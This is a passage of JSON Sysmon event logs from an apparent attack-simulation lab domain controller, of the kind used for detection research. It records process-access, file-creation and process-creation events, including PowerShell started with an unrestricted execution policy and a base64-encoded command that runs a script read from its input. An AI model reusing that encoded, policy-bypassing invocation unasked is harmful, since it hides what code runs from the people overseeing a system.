C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.336\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.336","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.336\r\nProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nProcessId: 4428\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ysbuygeo.tem.ps1\r\nCreationUtcTime: 2020-08-07 11:56:14.336","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.336","ProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ysbuygeo.tem.ps1","CreationUtcTime":"2020-08-07 11:56:14.336","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.383\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.383","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.383\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.383","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.448\r\nProcessGuid: {90617006-415E-5F2D-0000-0010D5740700}\r\nProcessId: 3784\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nParentProcessId: 4428\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.448","ProcessGuid":"{90617006-415E-5F2D-0000-0010D5740700}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","ParentProcessId":"4428","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nSourceProcessId: 4428\r\nSourceThreadId: 4360\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010D5740700}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 